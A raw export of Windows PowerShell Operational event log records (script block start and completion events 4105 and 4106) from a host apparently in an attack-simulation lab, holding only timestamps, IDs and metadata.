Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647533
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:41 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647532
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:41 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647531
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:41 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647530
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:41 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647529
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:41 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647528
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:41 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647527
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647546
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647545
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647544
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647543
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647542
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647541
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647540
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647539
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647538
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:47 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647537
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647556
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647555
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647554
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647553
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647552
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647551
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647550
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647549
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647548
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:53 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647547
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647566
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647565
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647564
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647563
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647562
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647561
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647560
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647559
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647558
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:13:58 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647557
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647576
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647575
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647574
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647573
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647572
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647571
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647570
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647569
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647568
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:04 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647567
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647586
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647585
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647584
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647583
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647582
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647581
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647580
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:14:08 PM
LogName=Microsoft-Windows-PowerShell/Operational
